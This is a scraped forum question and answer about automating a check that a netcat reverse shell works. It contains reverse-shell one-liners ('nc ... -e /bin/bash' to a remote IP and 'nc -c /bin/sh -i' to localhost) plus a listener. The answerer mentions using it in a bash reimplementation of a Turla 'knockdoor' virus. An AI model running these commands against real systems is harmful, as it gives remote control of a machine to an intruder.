I do reverse shell with netcat.
A side nc 192.168.100.113 4444 –e /bin/bash
B side nc –lvp 4444
I want to automated and check this process from B side with shell script that reverse shell really working.
In B side, after nc –lvp 4444
How can I wait until I will get a connection and than send ls
command and check the result?
-i
flag:first console:
nc -lp 4444
second console:
nc -c '/bin/sh -i 2>&1' localhost 4444
Of course I used localhost
for test, you can use IP instead...
I've used this in my bash implementation of Turla virus knockdoor
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.